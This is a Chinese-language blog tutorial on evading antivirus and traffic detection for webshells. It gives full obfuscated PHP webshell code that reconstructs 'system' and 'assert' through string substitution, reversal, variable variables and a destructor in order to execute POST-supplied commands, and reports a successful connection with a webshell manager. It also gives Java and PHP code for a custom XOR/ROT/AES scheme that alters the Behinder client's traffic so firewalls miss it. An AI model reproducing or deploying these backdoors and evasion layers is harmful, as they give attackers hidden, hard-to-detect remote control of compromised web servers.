既然在对C2的免杀思路及操作上都有了一定认知,那么咱们的Webshell怎么能落下呢?

学习项目地址:https://github.com/AabyssZG/WebShell-Bypass-Guide

里面涵盖了很多免杀操作及思路,学了包能免杀的宝宝!

防御

为什么要提到防御?因为Webshell和C2有一项显著特征不一样的是,Webshell需要攻击者主动去连接他,那要是网站上部署了防火墙,它拦不拦你?我问你?Looking my eyes!回答我!那就算是免杀的后门上传上去有幸没被杀软干掉,你连不上去是不是在白忙活?

所以咱们不仅要考虑后门还得看流量特征,瞻前顾后的,麻烦死。还有就是,沙箱会对Webshell进行代码分析,如果是单纯的exe直接就给你出结果了,咱们不仅要恶心杀软,还要把代码伪装,让防御者分析不出来是在干嘛,这才是合格标准哦

免杀

字符串替换

首先在项目文件中找到自己比较感兴趣的内容,我看到这个字符串替换就有种似曾相识的感觉。。。当然此脚本很明显,主要目的是为了绕过哪些高危函数的调用(system()、assert()、shell_exec()等)

注:eval()在php里不是函数,他只能以明文的形式调用,不像下面的system还可以通过变量来表示

那咱们就先写一个拼接system的代码。array可以支持不匹配字符长度替换,接着调用strtr函数一路替换掉$string里面的内容,最后strrev函数翻转一下得到system

<?php
$string= "xiuqiudejibao";
$xiu = array("bao" => "s");
$all = strtr($string, $xiu);
$qiu = array("xiu" => "me");
$all1 = strtr($all, $qiu);
$de = array("ji" => "y");
$all2 = strtr($all1,$de);
$ji = array("de" => "s");
$all3 = strtr($all2,$ji);
$bao = array("qiu" => "t");
$all4 = strtr($all3,$bao);
$reversedAll4 = strrev($all4);
echo $reversedAll4;
?>

成功拼接system后,考虑还需要接收到参数才能执行命令,就得通过POST或GET传递

$icant = strtr('$_UQMN[X',"qr1UQMN","al(POST");
$icant .='bdjq]';
echo $icant;

咱们就借用字符串替换的知识成功构造出想要的内容了,接着把它尝试拼接上,当然不能单纯只使用这一点啰,既然是混淆混淆,那得先混起来

可变变量

比我聪明的相信都看懂了,双写$$可以做到$$f=$hello的操作,那咱们试着模仿它,变出需要的内容

前两句用到了字符串拼接

$sayHello = 'good';
$sayHello .='1';
$$sayHello = $icant;
echo $good1;

数组

代码从后往前看,需要确定$f,对应找到$result数组的$zhixin,$zhixin是没变之前的$z,等于system

模仿着这上面写,基本上一样,除了倒数第二行,主要目的是为了将$good1由字符串类型转为能接收参数的$_POST类型。system($_POST(a)),括号里面的内容代表能接收变量a的POST请求,如果这样写$good1='$_POST(a)'; $s3='system'; $s3($good1);表示的是system('$_POST(a)'),会报错

$s1 = $reversedAll4;
$s2  = &$s1;
$accident = 'hello';

$result = compact("accident", "s2");
$s1 = 'woxihuanni';

$s3 = $result['s2'];
eval('$good1 = ' . $good1 . ';');
$s3($good1);

半总结

整理以上全部代码,启个环境测试,看到可以执行命令

哎呀有的朋友要说,不要这个执行命令的,我要能直接连上Webshell的版本,这不接着来嘛

反序列化

忽然想起来之前有学过反序列化方面的知识,在创建对象时会调用_ _construct()方法,销毁时会触发_ _destruct()方法,以下就是。创建对象指向$_1,$_1由字符‘a’表示,那么‘a’被修改为POST请求,然后代码执行完毕触发销毁,system调用执行。

把刚写的代码镶嵌进去,他这里只提到了销毁,咱们还可以重写一个创建,这样一个负责执行命令一个负责连接Webshell,多好哦

这下就修改了_ _destruct()函数,用数组存储字符拼接成assert,然后在类外定义传递而来的yes参数,也就是在类外控制$try的内容,整合上面的知识写出来,很简单吧

<?php
class Test {
    public $try = 'yes'; // 定义类属性 $_1 并赋值为 'a'
    function __destruct() {
        $shuzu = ['X','s', 'B', 'a', 'r', 'D', 'e', 'Q', 't' ,'v'];
        $i = $shuzu[8] . $shuzu[4] . $shuzu[6] . $shuzu[1] . $shuzu[1] . $shuzu[3];
        $reverse = strrev($i);
        $reverse($this->yes); // 析构时执行 $this->a 中的命令
    }
    function __construct() {
        $string= "xiuqiudejibao";
        $xiu = array("bao" => "s");
        $all = strtr($string, $xiu);
        $qiu = array("xiu" => "me");
        $all1 = strtr($all, $qiu);
        $de = array("ji" => "y");
        $all2 = strtr($all1,$de);
        $ji = array("de" => "s");
        $all3 = strtr($all2,$ji);
        $bao = array("qiu" => "t");
        $all4 = strtr($all3,$bao);
        $reversedAll4 = strrev($all4);
        $icant = strtr('$_UQMN[X',"qr1UQMN","al(POST");
        $icant .='bdjq]';
        $sayHello = 'good';
        $sayHello .='1';
        $$sayHello = $icant;
        $s1 = $reversedAll4;
        $s2  = &$s1;
        $accident = 'hello';

        $result = compact("accident", "s2");
        $s1 = 'woxihuanni';

        $s3 = $result['s2'];
        eval('$good1 = ' . $good1 . ';');
        $s3($good1);
    }
}
$try1 = new Test;
$good1 = ']\'oabuix\'[TSOP_$';
$reverse = strrev($good1);
eval('$reverse = ' . $reverse . ';');
$try1->{$try1->try} = $reverse;
?>

正常上线(assert我测试的时候蚁剑和冰蝎不可以,哥斯拉可以连接上)大致上是因为通信上的差异

命令执行也没问题

测试免杀结果

流量

环境准备

和二开C2的时候差不多,咱们需要配置好反编译环境,详情可见https://yezifan.cn/?p=850

需要补充的是,咱们可以从网上下载反编译的结果https://www.decompiler.com/,将冰蝎的jar包上传上去就好

还有在工件中选择的主类是这个

基本上就一模一样了

特征

冰蝎的流量传递采用如图特征,值得注意的是,在本地加密固定的语言是jsp,如果咱们上传的webshell是php的后门,那么在远程解密的语言就是php,为了能正常通讯这俩必须使用一样的加解密方式

连接Webshell的过程中一共放了两个包,除开加密内容(应该和我们所选择的加密方式有关系)以外,他们的请求头基本上差不多,并且每隔几分钟,他会有一个探测存活的包,请求包的路径都是shell所在路径,存活包也一样

首先对请求头的内容修改,在项目中搜索数据包的关键词定位到文件

我只做出了如下简单修改

整个数据包最大的特征还是加密的内容,重心还得放这上面。最开始提到的,我们需要自己写一个加密方式来打乱数据包的特征,且要满足能够实现不同语言的相互加解密,它自带了某些加密方式,我就把这些加密方式拼接起来生成了xor_rot_aes加密方式的脚本

private byte[] Encrypt(byte[] data) throws Exception
    {	
		String xorKey = "e45e329feb5d925b";
        byte[] xorKeyBytes = xorKey.getBytes("UTF-8");

        for (int i = 0; i < data.length; i++) {
            data[i] = (byte) (data[i] ^ xorKeyBytes[i % 16]);
        }

        int rotN = 4;
        for (int i = 0; i < data.length; i++) {
            data[i] = (byte) ((data[i] + rotN) & 0xFF);
        }
        String key="e45e329feb5d925b";
        byte[] raw = key.getBytes("utf-8");
        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");
        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);
        byte[] encrypted = cipher.doFinal(data);
        Class baseCls;
        try
        {
            baseCls=Class.forName("java.util.Base64");
            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);
            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
        }
        catch (Throwable error)
        {
            baseCls=Class.forName("sun.misc.BASE64Encoder");
            Object Encoder=baseCls.newInstance();
            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});
            result=result.replace("\n", "").replace("\r", "");
            encrypted=result.getBytes();
        }
        return encrypted;
    }

private byte[] Decrypt(byte[] data) throws Exception
    {
        String k="e45e329feb5d925b";
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
        byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                }
		byte[] q = c.doFinal(decodebs);
		String xorKey = "e45e329feb5d925b";
        byte[] xorKeyBytes = xorKey.getBytes("UTF-8");

        int rotN = 4;
        for (int i = 0; i < q.length; i++) {
            q[i] = (byte) ((q[i] - rotN + 256) % 256);
        }

        for (int i = 0; i < q.length; i++) {
            q[i] = (byte) (q[i] ^ xorKeyBytes[i % 16]);
        }
        return q;

    }

还有远程的php版本

function Encrypt($data) {
    $xorKey = "e45e329feb5d925b";
    $xorKeyBytes = array_map('ord', str_split($xorKey));

    $dataBytes = array_values(unpack('C*', $data));
    foreach ($dataBytes as $i => $byte) {
        $dataBytes[$i] = $byte ^ $xorKeyBytes[$i % 16];
    }

    foreach ($dataBytes as $i => $byte) {
        $dataBytes[$i] = ($byte + 4) % 256;
    }

    $processedData = pack('C*', ...$dataBytes);

    $key = "e45e329feb5d925b";
    $ciphertext = openssl_encrypt(
        $processedData,
        'AES-128-ECB',
        $key,
        OPENSSL_RAW_DATA
    );

    return base64_encode($ciphertext);
}

function Decrypt($encryptedData) {
    $encryptedData = base64_decode($encryptedData);

    $key = "e45e329feb5d925b";
    $processedData = openssl_decrypt(
        $encryptedData,
        'AES-128-ECB',
        $key,
        OPENSSL_RAW_DATA
    );

    $dataBytes = array_values(unpack('C*', $processedData));

    foreach ($dataBytes as $i => $byte) {
        $dataBytes[$i] = ($byte - 4 + 256) % 256; // 避免负数
    }

    $xorKey = "e45e329feb5d925b";
    $xorKeyBytes = array_map('ord', str_split($xorKey));
    foreach ($dataBytes as $i => $byte) {
        $dataBytes[$i] = $byte ^ $xorKeyBytes[$i % 16];
    }

    return pack('C*', ...$dataBytes);
}

测试他们的是否能做到还原和加密数据的功能

那当然没问题

通过分享,将test.config文件添加进项目中重新构建生成对应jar包后抓包观察流量

首先是对ui界面的替换

还有数据包的流量特征明显不一样了